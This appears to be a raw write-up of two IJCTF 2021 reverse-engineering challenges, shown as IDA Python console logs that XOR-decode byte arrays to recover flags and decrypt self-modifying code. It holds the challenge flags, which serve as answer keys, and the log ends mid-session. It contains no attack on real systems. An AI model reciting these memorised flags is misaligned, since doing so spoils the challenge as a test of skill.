IJCTF 2021

sanity-rev

image-20251122121653592
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Python>get_bytes(0x2030,0x26)
b'IJCTF{simple_sanity_check_for_babies}\x00'
Python>a = list(get_bytes(0x2030,0x26))
Python>a
[0x49, 0x4a, 0x43, 0x54, 0x46, 0x7b, 0x73, 0x69, 0x6d, 0x70, 0x6c, 0x65, 0x5f, 0x73, 0x61, 0x6e, 0x69, 0x74, 0x79, 0x5f, 0x63, 0x68, 0x65, 0x63, 0x6b, 0x5f, 0x66, 0x6f, 0x72, 0x5f, 0x62, 0x61, 0x62, 0x69, 0x65, 0x73, 0x7d, 0x0]
Python>b = list(get_bytes(0x2008,0x26))
Python>b
[0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xa, 0x6, 0x18, 0x2f, 0x8, 0xc, 0x3b, 0x2c, 0xf, 0x1, 0x1d, 0x2b, 0x1f, 0x3e, 0xf, 0x4, 0x3a, 0x5, 0x4, 0x2d, 0x39, 0x6, 0x6, 0x0, 0x10, 0x8, 0x5, 0x1, 0x11, 0x4c, 0x0, 0x0]
Python>a^b
Traceback (most recent call last):
File "<string>", line 1, in <module>
TypeError: unsupported operand type(s) for ^: 'list' and 'list'
Python>from numpy import np
Traceback (most recent call last):
File "<string>", line 1, in <module>
ImportError: cannot import name 'np' from 'numpy' (C:\Users\ostrich\WPy64-3771\python-3.7.7.amd64\lib\site-packages\numpy\__init__.py)
Python>import numpy
Python> np.bitwise_xor(a,b)
Python>c = np.bitwise_xor(a,b)
File "<string>", line 1
np.bitwise_xor(a,b)
^
IndentationError: unexpected indent
Python>c = numpy.bitwise_xor(a,b)
Python>c
[ 73 74 67 84 70 123 121 111 117 95 100 105 100 95 110 111 116 95
102 97 108 108 95 102 111 114 95 105 116 95 114 105 103 104 116 63
125 0]
Python>d = map(chr,c)
Python>print(d)
<map object at 0x0000026EAC07CE08>
Python>print("".join(list(d))
File "<string>", line 1
print("".join(list(d))
^
SyntaxError: unexpected EOF while parsing
Python>print("".join(list(d))
File "<string>", line 1
print("".join(list(d))
^
SyntaxError: unexpected EOF while parsing
Python>
Python>print("".join(list(d)))
IJCTF{you_did_not_fall_for_it_right?}

IJCTF{you_did_not_fall_for_it_right?}

helloworld-rev

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
b'UH\x89\xe5SH\x81\xec\xe8\x00\x00\x00H\x8d\x85@\xff\xff\xff\xba\x02\x00\x00\x00H\xbe\xc3q\\\x00\x00\x00\x00\x00H\x89\xc7H\xb8\x1c}@\x00\x00\x00\x00\x00\xff\xd0H\x8d\x95@\xff\xff\xffH\x8d\x850\xff\xff\xffH\x89\xd6H\x89\xc7H\xb8\x96x@\x00\x00\x00\x00\x00\xff\xd0H\x8d\x850\xff\xff\xffH\x89E\xe8H\x8d\x85@\xff\xff\xffH\x89\xc7H\xb8&s@\x00\x00\x00\x00\x00\xff\xd0H\x8bU\xe8H\x8d\x85p\xff\xff\xffH\x89\xd6H\x89\xc7H\xb8^z@\x00\x00\x00\x00\x00\xff\xd0H\x8d\x85 \xff\xff\xffH\x8d\x95p\xff\xff\xffH\x89\xd6H\x89\xc7H\xb8\x87y@\x00\x00\x00\x00\x00\xff\xd0H\x8d\x85p\xff\xff\xffH\x89\xc7H\xb8tx@\x00\x00\x00\x00\x00\xff\xd0H\x8bU\xe8H\x8dE\x80H\x89\xd6H\x89\xc7H\xb8^z@\x00\x00\x00\x00\x00\xff\xd0H\x8d\x85\x10\xff\xff\xffH\x8dU\x80H\x89\xd6H\x89\xc7H\xb8\xday@\x00\x00\x00\x00\x00\xff\xd0H\x8dE\x80H\x89\xc7H\xb8tx@\x00\x00\x00\x00\x00\xff\xd0H\x8d\x95\x10\xff\xff\xffH\x8d\x85 \xff\xff\xffH\x89\xd6H\x89\xc7H\xb8*y@\x00\x00\x00\x00\x00\xff\xd0\x84\xc0\x0f\x84{\x01\x00\x00H\x8d\x85 \xff\xff\xffH\x89\xc7H\xb8\xd0\x87H\x00\x00\x00\x00\x00\xff\xd0H\x89E\xe0H\x8bE\xe0H\x89\xc7H\xb8@x@\x00\x00\x00\x00\x00\xff\xd0H\x89\xc2H\x8dE\xb0H\x89\xd6H\x89\xc7H\xb8\xc8u@\x00\x00\x00\x00\x00\xff\xd0H\x8dE\x90H\x8dU\xb0H\x89\xd6H\x89\xc7H\xb8>u@\x00\x00\x00\x00\x00\xff\xd0H\x8dE\x90H\xbe\xa8q\\\x00\x00\x00\x00\x00H\x89\xc7H\xb8\x95~@\x00\x00\x00\x00\x00\xff\xd0\x89\xc3H\x8dE\x90H\x89\xc7H\xb80\xeeF\x00\x00\x00\x00\x00\xff\xd0H\x8dE\xb0H\x89\xc7H\xb8&s@\x00\x00\x00\x00\x00\xff\xd0\x84\xdb\x0f\x84\xb3\x00\x00\x00H\x8bE\xe0H\x89\xc7H\xb8@x@\x00\x00\x00\x00\x00\xff\xd0H\x89\xc7H\xb8\x9as@\x00\x00\x00\x00\x00\xff\xd0H\xba@\x9d\\\x00\x00\x00\x00\x00H\x89\x02H\xb8@\x9d\\\x00\x00\x00\x00\x00H\x8b\x00H\xbe\xbcq\\\x00\x00\x00\x00\x00H\x89\xc7H\xb8\xd0\xf5M\x00\x00\x00\x00\x00\xff\xd0H\xba\x08\x9d\\\x00\x00\x00\x00\x00H\x89\x02H\xb8\x08\x9d\\\x00\x00\x00\x00\x00H\x8b\x00H\xba@q\\\x00\x00\x00\x00\x00H\xbe\xb8q\\\x00\x00\x00\x00\x00H\x89\xc7\xb8\x00\x00\x00\x00H\xb9\xb0\nM\x00\x00\x00\x00\x00\xff\xd1H\xb8\x08\x9d\\\x00\x00\x00\x00\x00H\x8b\x00H\x89\xc7H\xb8\x80\xeeM\x00\x00\x00\x00\x00\xff\xd0H\x8d\x85 \xff\xff\xffH\x89\xc7H\xb8@\x88H\x00\x00\x00\x00\x00\xff\xd0\xe9]\xfe\xff\xffH\x8d\x85\x10\xff\xff\xffH\x89\xc7H\xb8tx@\x00\x00\x00\x00\x00\xff\xd0H\x8d\x85 \xff\xff\xffH\x89\xc7H\xb8tx@\x00\x00\x00\x00\x00\xff\xd0H\x8d\x850\xff\xff\xffH\x89\xc7H\xb8tx@\x00\x00\x00\x00\x00\xff\xd0\xe9\x9a\x00\x00\x00H\x89\xc3H\x8d\x85@\xff\xff\xffH\x89\xc7H\xb8&s@\x00\x00\x00\x00\x00\xff\xd0H\x89\xd8H\x89\xc7H\xb8\xa0\x00K\x00\x00\x00\x00\x00\xff\xd0H\x89\xc3H\x8dE\xb0H\x89\xc7H\xb8&s@\x00\x00\x00\x00\x00\xff\xd0\xeb\x03H\x89\xc3H\x8d\x85\x10\xff\xff\xffH\x89\xc7H\xb8tx@\x00\x00\x00\x00\x00\xff\xd0H\x8d\x85 \xff\xff\xffH\x89\xc7H\xb8tx@\x00\x00\x00\x00\x00\xff\xd0H\x8d\x850\xff\xff\xffH\x89\xc7H\xb8tx@\x00\x00\x00\x00\x00\xff\xd0H\x89\xd8H\x89\xc7H\xb8\xa0\x00K\x00\x00\x00\x00\x00\xff\xd0H\x8b]\xf8\xc9\xc3\x13'
Python>a = bytes(a)
Python>ida_bytes.patch_bytes(0x5C7206,a)
Caching 'Functions window'... ok
Caching 'Functions window'... ok
5C747F: variable 'v2' is possibly undefined
5C747F: variable 'v3' is possibly undefined
40792A: using guessed type __int64 __fastcall std::filesystem::__cxx11::operator!=(_QWORD, _QWORD);
407987: using guessed type __int64 __fastcall std::filesystem::__cxx11::begin(_QWORD, _QWORD);
4079DA: using guessed type __int64 __fastcall std::filesystem::__cxx11::end(_QWORD, _QWORD);
407D1C: using guessed type __int64 __fastcall std::filesystem::__cxx11::path::path<char [2],std::filesystem::__cxx11::path>(_QWORD, _QWORD, _QWORD);
407E95: using guessed type __int64 __fastcall std::operator==<char>(_QWORD, _QWORD);
4887D0: using guessed type __int64 __fastcall std::filesystem::__cxx11::directory_iterator::operator*(_QWORD);
488840: using guessed type __int64 __fastcall std::filesystem::__cxx11::directory_iterator::operator++(_QWORD);
4D0AB0: using guessed type __int64 __fastcall _isoc99_fscanf(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, char);
4DEE80: using guessed type __int64 __fastcall fclose(_QWORD);
4DF5D0: using guessed type __int64 __fastcall fopen64(_QWORD, _QWORD);
401000: using guessed type __int64 init_proc(void);
406230: using guessed type __int64 __fastcall GLOBAL__sub_I_cxx11_locale_inst_cc(_QWORD, _QWORD, _QWORD);
5BD728: using guessed type __int64 (__fastcall *_frame_dummy_init_array_entry[2])();
5BD790: using guessed type __int64 (__fastcall *_do_global_dtors_aux_fini_array_entry[2])();
Caching 'Functions window'... ok
5C747F: variable 'v2' is possibly undefined
5C747F: variable 'v3' is possibly undefined
40792A: using guessed type __int64 __fastcall std::filesystem::__cxx11::operator!=(_QWORD, _QWORD);
407987: using guessed type __int64 __fastcall std::filesystem::__cxx11::begin(_QWORD, _QWORD);
4079DA: using guessed type __int64 __fastcall std::filesystem::__cxx11::end(_QWORD, _QWORD);
407D1C: using guessed type __int64 __fastcall std::filesystem::__cxx11::path::path<char [2],std::filesystem::__cxx11::path>(_QWORD, _QWORD, _QWORD);
407E95: using guessed type __int64 __fastcall std::operator==<char>(_QWORD, _QWORD);
4887D0: using guessed type __int64 __fastcall std::filesystem::__cxx11::directory_iterator::operator*(_QWORD);
488840: using guessed type __int64 __fastcall std::filesystem::__cxx11::directory_iterator::operator++(_QWORD);
4D0AB0: using guessed type __int64 __fastcall _isoc99_fscanf(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, char);
4DEE80: using guessed type __int64 __fastcall fclose(_QWORD);
4DF5D0: using guessed type __int64 __fastcall fopen64(_QWORD, _QWORD);
5C747F: variable 'v2' is possibly undefined
5C747F: variable 'v3' is possibly undefined
40792A: using guessed type __int64 __fastcall std::filesystem::__cxx11::operator!=(_QWORD, _QWORD);
407987: using guessed type __int64 __fastcall std::filesystem::__cxx11::begin(_QWORD, _QWORD);
4079DA: using guessed type __int64 __fastcall std::filesystem::__cxx11::end(_QWORD, _QWORD);
407D1C: using guessed type __int64 __fastcall std::filesystem::__cxx11::path::path<char [2],std::filesystem::__cxx11::path>(_QWORD, _QWORD, _QWORD);
407E95: using guessed type __int64 __fastcall std::operator==<char>(_QWORD, _QWORD);
4887D0: using guessed type __int64 __fastcall std::filesystem::__cxx11::directory_iterator::operator*(_QWORD);
488840: using guessed type __int64 __fastcall std::filesystem::__cxx11::directory_iterator::operator++(_QWORD);
4D0AB0: using guessed type __int64 __fastcall _isoc99_fscanf(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, char);
4DEE80: using guessed type __int64 __fastcall fclose(_QWORD);
4DF5D0: using guessed type __int64 __fastcall fopen64(_QWORD, _QWORD);
Caching 'Functions window'... ok
Command "MakeArray" failed
5C747F: variable 'v2' is possibly undefined
5C747F: variable 'v3' is possibly undefined
40792A: using guessed type __int64 __fastcall std::filesystem::__cxx11::operator!=(_QWORD, _QWORD);
407987: using guessed type __int64 __fastcall std::filesystem::__cxx11::begin(_QWORD, _QWORD);
4079DA: using guessed type __int64 __fastcall std::filesystem::__cxx11::end(_QWORD, _QWORD);
407D1C: using guessed type __int64 __fastcall std::filesystem::__cxx11::path::path<char [2],std::filesystem::__cxx11::path>(_QWORD, _QWORD, _QWORD);
407E95: using guessed type __int64 __fastcall std::operator==<char>(_QWORD, _QWORD);
4887D0: using guessed type __int64 __fastcall std::filesystem::__cxx11::directory_iterator::operator*(_QWORD);
488840: using guessed type __int64 __fastcall std::filesystem::__cxx11::directory_iterator::operator++(_QWORD);
4D0AB0: using guessed type __int64 __fastcall _isoc99_fscanf(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, char);
4DEE80: using guessed type __int64 __fastcall fclose(_QWORD);
4DF5D0: using guessed type __int64 __fastcall fopen64(_QWORD, _QWORD);
5C747F: variable 'v2' is possibly undefined
5C747F: variable 'v3' is possibly undefined
40792A: using guessed type __int64 __fastcall std::filesystem::__cxx11::operator!=(_QWORD, _QWORD);
407987: using guessed type __int64 __fastcall std::filesystem::__cxx11::begin(_QWORD, _QWORD);
4079DA: using guessed type __int64 __fastcall std::filesystem::__cxx11::end(_QWORD, _QWORD);
407D1C: using guessed type __int64 __fastcall std::filesystem::__cxx11::path::path<char [2],std::filesystem::__cxx11::path>(_QWORD, _QWORD, _QWORD);
407E95: using guessed type __int64 __fastcall std::operator==<char>(_QWORD, _QWORD);
4887D0: using guessed type __int64 __fastcall std::filesystem::__cxx11::directory_iterator::operator*(_QWORD);
488840: using guessed type __int64 __fastcall std::filesystem::__cxx11::directory_iterator::operator++(_QWORD);
4D0AB0: using guessed type __int64 __fastcall _isoc99_fscanf(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, char);
4DEE80: using guessed type __int64 __fastcall fclose(_QWORD);
4DF5D0: using guessed type __int64 __fastcall fopen64(_QWORD, _QWORD);
5C747F: variable 'v2' is possibly undefined
5C747F: variable 'v3' is possibly undefined
40792A: using guessed type __int64 __fastcall std::filesystem::__cxx11::operator!=(_QWORD, _QWORD);
407987: using guessed type __int64 __fastcall std::filesystem::__cxx11::begin(_QWORD, _QWORD);
4079DA: using guessed type __int64 __fastcall std::filesystem::__cxx11::end(_QWORD, _QWORD);
407D1C: using guessed type __int64 __fastcall std::filesystem::__cxx11::path::path<char [2],std::filesystem::__cxx11::path>(_QWORD, _QWORD, _QWORD);
407E95: using guessed type __int64 __fastcall std::operator==<char>(_QWORD, _QWORD);
4887D0: using guessed type __int64 __fastcall std::filesystem::__cxx11::directory_iterator::operator*(_QWORD);
488840: using guessed type __int64 __fastcall std::filesystem::__cxx11::directory_iterator::operator++(_QWORD);
4D0AB0: using guessed type __int64 __fastcall _isoc99_fscanf(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, char);
4DEE80: using guessed type __int64 __fastcall fclose(_QWORD);
4DF5D0: using guessed type __int64 __fastcall fopen64(_QWORD, _QWORD);
5C747F: variable 'v2' is possibly undefined
5C747F: variable 'v3' is possibly undefined
40792A: using guessed type __int64 __fastcall std::filesystem::__cxx11::operator!=(_QWORD, _QWORD);
407987: using guessed type __int64 __fastcall std::filesystem::__cxx11::begin(_QWORD, _QWORD);
4079DA: using guessed type __int64 __fastcall std::filesystem::__cxx11::end(_QWORD, _QWORD);
407D1C: using guessed type __int64 __fastcall std::filesystem::__cxx11::path::path<char [2],std::filesystem::__cxx11::path>(_QWORD, _QWORD, _QWORD);
407E95: using guessed type __int64 __fastcall std::operator==<char>(_QWORD, _QWORD);
4887D0: using guessed type __int64 __fastcall std::filesystem::__cxx11::directory_iterator::operator*(_QWORD);
488840: using guessed type __int64 __fastcall std::filesystem::__cxx11::directory_iterator::operator++(_QWORD);
4D0AB0: using guessed type __int64 __fastcall _isoc99_fscanf(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, char);
4DEE80: using guessed type __int64 __fastcall fclose(_QWORD);
4DF5D0: using guessed type __int64 __fastcall fopen64(_QWORD, _QWORD);
Python>b = [ch^0x13 for ch in list(get_bytes(0x5c75c6,0x160))]
Python>b
[0x75, 0x68, 0xa9, 0xc5, 0xe7, 0x65, 0xd8, 0x44, 0x20, 0x20, 0x20, 0xe7, 0x65, 0xdc, 0x20, 0x20, 0x20, 0x20, 0xab, 0x65, 0xdc, 0x1b, 0x65, 0xd8, 0x2f, 0xad, 0x1e, 0x21, 0x20, 0x20, 0x68, 0x9a, 0x60, 0x51, 0x7c, 0x20, 0x20, 0x20, 0x20, 0x20, 0xab, 0x65, 0xdc, 0x68, 0xb8, 0x2f, 0x96, 0x24, 0x22, 0xe0, 0xc8, 0x24, 0xa9, 0xe1, 0xab, 0x65, 0xdc, 0xa3, 0xe0, 0x21, 0x68, 0x9a, 0x60, 0x51, 0x7c, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0xb8, 0x2f, 0x96, 0x24, 0x22, 0x2f, 0x96, 0xe0, 0xe1, 0xc0, 0x24, 0x21, 0xe8, 0xa8, 0x65, 0xd7, 0xab, 0x65, 0xdc, 0xa3, 0xe0, 0x21, 0x68, 0x9a, 0x60, 0x51, 0x7c, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0xb8, 0x2f, 0x96, 0x24, 0x22, 0xe0, 0xc8, 0x24, 0xa9, 0xe1, 0x68, 0x9a, 0x60, 0x51, 0x7c, 0x20, 0x20, 0x20, 0x20, 0x20, 0xab, 0x65, 0xdc, 0x68, 0xb8, 0x2f, 0x96, 0x24, 0x22, 0x2f, 0x96, 0xe0, 0xe1, 0xc0, 0x24, 0x21, 0xe8, 0xa8, 0x65, 0xd6, 0x2f, 0x96, 0x65, 0xd7, 0xa4, 0xe0, 0x59, 0x2b, 0x2f, 0x96, 0x65, 0xd7, 0x21, 0xe0, 0xa3, 0xe8, 0x21, 0xcb, 0x26, 0x2f, 0x96, 0x65, 0xd7, 0x21, 0xe0, 0xa8, 0x65, 0xd7, 0x2f, 0x96, 0x65, 0xd7, 0xa4, 0xe0, 0x59, 0x2b, 0x2f, 0x96, 0x65, 0xd7, 0x21, 0xe0, 0xa3, 0xe8, 0x21, 0xcb, 0x26, 0x2f, 0x96, 0x65, 0xd7, 0x21, 0xe0, 0xa8, 0x65, 0xd7, 0x2f, 0x96, 0x65, 0xd7, 0xa4, 0xe0, 0x59, 0x2b, 0x2f, 0x96, 0x65, 0xd7, 0x21, 0xe0, 0xa3, 0xe8, 0x21, 0xcb, 0x26, 0x2f, 0x96, 0x65, 0xd7, 0x21, 0xe0, 0xa8, 0x65, 0xd7, 0x2f, 0x96, 0x65, 0xd6, 0xa4, 0xe0, 0x59, 0x2b, 0x2f, 0x96, 0x65, 0xd6, 0x21, 0xe0, 0xa3, 0xe8, 0x21, 0xcb, 0x26, 0x2f, 0x96, 0x65, 0xd6, 0x21, 0xe0, 0xa8, 0x65, 0xd6, 0x2f, 0x96, 0x65, 0xd6, 0xa4, 0xe0, 0x59, 0x2b, 0x2f, 0x96, 0x65, 0xd6, 0x21, 0xe0, 0xa3, 0xe8, 0x21, 0xcb, 0x26, 0x2f, 0x96, 0x65, 0xd6, 0x21, 0xe0, 0xa8, 0x65, 0xd6, 0xa0, 0x55, 0xd7, 0x33, 0xa0, 0x55, 0xd6, 0x17, 0x68, 0x99, 0x60, 0x51, 0x7c, 0x20, 0x20, 0x20, 0x20, 0x20, 0xab, 0x65, 0xdc, 0x68, 0xb8, 0x2f, 0x96, 0x75, 0xd7, 0xa8, 0x34, 0x21, 0xab, 0x65, 0xdc, 0xa3, 0xe0, 0x21, 0x68, 0x99, 0x60, 0x51, 0x7c, 0x20, 0x20, 0x20, 0x20, 0x20, 0x68, 0xb8, 0x2f, 0x96, 0x75, 0xd6, 0xa8, 0x34, 0x21, 0xa3, 0x65, 0xdc, 0x22, 0xc9, 0x96, 0xde, 0xdf, 0xdf, 0xb0, 0x7d, 0xe3, 0x13]
Python>b = bytes([ch^0x13 for ch in list(get_bytes(0x5c75c6,0x160))])
Python>b
b'uh\xa9\xc5\xe7e\xd8D \xe7e\xdc \xabe\xdc\x1be\xd8/\xad\x1e! h\x9a`Q| \xabe\xdch\xb8/\x96$"\xe0\xc8$\xa9\xe1\xabe\xdc\xa3\xe0!h\x9a`Q| h\xb8/\x96$"/\x96\xe0\xe1\xc0$!\xe8\xa8e\xd7\xabe\xdc\xa3\xe0!h\x9a`Q| h\xb8/\x96$"\xe0\xc8$\xa9\xe1h\x9a`Q| \xabe\xdch\xb8/\x96$"/\x96\xe0\xe1\xc0$!\xe8\xa8e\xd6/\x96e\xd7\xa4\xe0Y+/\x96e\xd7!\xe0\xa3\xe8!\xcb&/\x96e\xd7!\xe0\xa8e\xd7/\x96e\xd7\xa4\xe0Y+/\x96e\xd7!\xe0\xa3\xe8!\xcb&/\x96e\xd7!\xe0\xa8e\xd7/\x96e\xd7\xa4\xe0Y+/\x96e\xd7!\xe0\xa3\xe8!\xcb&/\x96e\xd7!\xe0\xa8e\xd7/\x96e\xd6\xa4\xe0Y+/\x96e\xd6!\xe0\xa3\xe8!\xcb&/\x96e\xd6!\xe0\xa8e\xd6/\x96e\xd6\xa4\xe0Y+/\x96e\xd6!\xe0\xa3\xe8!\xcb&/\x96e\xd6!\xe0\xa8e\xd6\xa0U\xd73\xa0U\xd6\x17h\x99`Q| \xabe\xdch\xb8/\x96u\xd7\xa84!\xabe\xdc\xa3\xe0!h\x99`Q| h\xb8/\x96u\xd6\xa84!\xa3e\xdc"\xc9\x96\xde\xdf\xdf\xb0}\xe3\x13'
Python>patch_bytes(0x5C75C6,b)
Traceback (most recent call last):
File "<string>", line 1, in <module>
NameError: name 'patch_bytes' is not defined
Python>ida_bytes.patch_bytes(0x5C75C6,b)
Caching 'Functions window'... ok
Caching 'Strings window'... ok
Python>b = bytes([ch^0x33 for ch in list(get_bytes(0x5c75c6,0x160))])
Python>b
b'F[\x9a\xf6\xd4V\xebw\x13\x13\x13\xd4V\xef\x13\x13\x13\x13\x98V\xef(V\xeb\x1c\x9e-\x12\x13\x13[\xa9SbO\x13\x13\x13\x13\x13\x98V\xef[\x8b\x1c\xa5\x17\x11\xd3\xfb\x17\x9a\xd2\x98V\xef\x90\xd3\x12[\xa9SbO\x13\x13\x13\x13\x13[\x8b\x1c\xa5\x17\x11\x1c\xa5\xd3\xd2\xf3\x17\x12\xdb\x9bV\xe4\x98V\xef\x90\xd3\x12[\xa9SbO\x13\x13\x13\x13\x13[\x8b\x1c\xa5\x17\x11\xd3\xfb\x17\x9a\xd2[\xa9SbO\x13\x13\x13\x13\x13\x98V\xef[\x8b\x1c\xa5\x17\x11\x1c\xa5\xd3\xd2\xf3\x17\x12\xdb\x9bV\xe5\x1c\xa5V\xe4\x97\xd3j\x18\x1c\xa5V\xe4\x12\xd3\x90\xdb\x12\xf8\x15\x1c\xa5V\xe4\x12\xd3\x9bV\xe4\x1c\xa5V\xe4\x97\xd3j\x18\x1c\xa5V\xe4\x12\xd3\x90\xdb\x12\xf8\x15\x1c\xa5V\xe4\x12\xd3\x9bV\xe4\x1c\xa5V\xe4\x97\xd3j\x18\x1c\xa5V\xe4\x12\xd3\x90\xdb\x12\xf8\x15\x1c\xa5V\xe4\x12\xd3\x9bV\xe4\x1c\xa5V\xe5\x97\xd3j\x18\x1c\xa5V\xe5\x12\xd3\x90\xdb\x12\xf8\x15\x1c\xa5V\xe5\x12\xd3\x9bV\xe5\x1c\xa5V\xe5\x97\xd3j\x18\x1c\xa5V\xe5\x12\xd3\x90\xdb\x12\xf8\x15\x1c\xa5V\xe5\x12\xd3\x9bV\xe5\x93f\xe4\x00\x93f\xe5$[\xaaSbO\x13\x13\x13\x13\x13\x98V\xef[\x8b\x1c\xa5F\xe4\x9b\x07\x12\x98V\xef\x90\xd3\x12[\xaaSbO\x13\x13\x13\x13\x13[\x8b\x1c\xa5F\xe5\x9b\x07\x12\x90V\xef\x11\xfa\xa5\xed\xec\xec\x83N\xd0 '
Python>ida_bytes.patch_bytes(0x5C75C6,b)
Command "MakeCode" failed
Command "JumpEnter" failed
Caching 'Functions window'... ok
Caching 'Strings window'... ok
Caching 'Functions window'... ok
Caching 'Strings window'... ok
Caching 'Functions window'... ok
Caching 'Strings window'... ok
Caching 'Functions window'... ok
Caching 'Strings window'... ok
Caching 'Functions window'... ok
Caching 'Strings window'... ok
Python>b = bytes([ch^0x33 for ch in list(get_bytes(0x5c75c6,0x160))])
Python>b
b'UH\x89\xe5\xc7E\xf8d\x00\x00\x00\xc7E\xfc\x00\x00\x00\x00\x8bE\xfc;E\xf8\x0f\x8d>\x01\x00\x00H\xba@q\\\x00\x00\x00\x00\x00\x8bE\xfcH\x98\x0f\xb6\x04\x02\xc0\xe8\x04\x89\xc1\x8bE\xfc\x83\xc0\x01H\xba@q\\\x00\x00\x00\x00\x00H\x98\x0f\xb6\x04\x02\x0f\xb6\xc0\xc1\xe0\x04\x01\xc8\x88E\xf7\x8bE\xfc\x83\xc0\x01H\xba@q\\\x00\x00\x00\x00\x00H\x98\x0f\xb6\x04\x02\xc0\xe8\x04\x89\xc1H\xba@q\\\x00\x00\x00\x00\x00\x8bE\xfcH\x98\x0f\xb6\x04\x02\x0f\xb6\xc0\xc1\xe0\x04\x01\xc8\x88E\xf6\x0f\xb6E\xf7\x84\xc0y\x0b\x0f\xb6E\xf7\x01\xc0\x83\xc8\x01\xeb\x06\x0f\xb6E\xf7\x01\xc0\x88E\xf7\x0f\xb6E\xf7\x84\xc0y\x0b\x0f\xb6E\xf7\x01\xc0\x83\xc8\x01\xeb\x06\x0f\xb6E\xf7\x01\xc0\x88E\xf7\x0f\xb6E\xf7\x84\xc0y\x0b\x0f\xb6E\xf7\x01\xc0\x83\xc8\x01\xeb\x06\x0f\xb6E\xf7\x01\xc0\x88E\xf7\x0f\xb6E\xf6\x84\xc0y\x0b\x0f\xb6E\xf6\x01\xc0\x83\xc8\x01\xeb\x06\x0f\xb6E\xf6\x01\xc0\x88E\xf6\x0f\xb6E\xf6\x84\xc0y\x0b\x0f\xb6E\xf6\x01\xc0\x83\xc8\x01\xeb\x06\x0f\xb6E\xf6\x01\xc0\x88E\xf6\x80u\xf7\x13\x80u\xf67H\xb9@q\\\x00\x00\x00\x00\x00\x8bE\xfcH\x98\x0f\xb6U\xf7\x88\x14\x01\x8bE\xfc\x83\xc0\x01H\xb9@q\\\x00\x00\x00\x00\x00H\x98\x0f\xb6U\xf6\x88\x14\x01\x83E\xfc\x02\xe9\xb6\xfe\xff\xff\x90]\xc33'
Python>ida_bytes.patch_bytes(0x5C75C6,b)
Caching 'Functions window'... ok
Caching 'Functions window'... ok
5C75C6: using guessed type __int64 __fastcall sub_5C75C6();
401000: using guessed type __int64 init_proc(void);
406230: using guessed type __int64 __fastcall GLOBAL__sub_I_cxx11_locale_inst_cc(_QWORD, _QWORD, _QWORD);
5BD728: using guessed type __int64 (__fastcall *_frame_dummy_init_array_entry[2])();
5BD790: using guessed type __int64 (__fastcall *_do_global_dtors_aux_fini_array_entry[2])();
Python>c = bytes([ch^0x37 for ch in list(get_bytes(0x5c75c6,0x160))])
Caching 'Functions window'... ok
Python>c
b'b\x7f\xbe\xd2\xf0r\xcfS777\xf0r\xcb7777\xbcr\xcb\x0cr\xcf8\xba\t677\x7f\x8dwFk77777\xbcr\xcb\x7f\xaf8\x8135\xf7\xdf3\xbe\xf6\xbcr\xcb\xb4\xf76\x7f\x8dwFk77777\x7f\xaf8\x81358\x81\xf7\xf6\xd736\xff\xbfr\xc0\xbcr\xcb\xb4\xf76\x7f\x8dwFk77777\x7f\xaf8\x8135\xf7\xdf3\xbe\xf6\x7f\x8dwFk77777\xbcr\xcb\x7f\xaf8\x81358\x81\xf7\xf6\xd736\xff\xbfr\xc18\x81r\xc0\xb3\xf7N<8\x81r\xc06\xf7\xb4\xff6\xdc18\x81r\xc06\xf7\xbfr\xc08\x81r\xc0\xb3\xf7N<8\x81r\xc06\xf7\xb4\xff6\xdc18\x81r\xc06\xf7\xbfr\xc08\x81r\xc0\xb3\xf7N<8\x81r\xc06\xf7\xb4\xff6\xdc18\x81r\xc06\xf7\xbfr\xc08\x81r\xc1\xb3\xf7N<8\x81r\xc16\xf7\xb4\xff6\xdc18\x81r\xc16\xf7\xbfr\xc18\x81r\xc1\xb3\xf7N<8\x81r\xc16\xf7\xb4\xff6\xdc18\x81r\xc16\xf7\xbfr\xc1\xb7B\xc0$\xb7B\xc1\x00\x7f\x8ewFk77777\xbcr\xcb\x7f\xaf8\x81b\xc0\xbf#6\xbcr\xcb\xb4\xf76\x7f\x8ewFk77777\x7f\xaf8\x81b\xc1\xbf#6\xb4r\xcb5\xde\x81\xc9\xc8\xc8\xa7j\xf4\x04'
Python>c
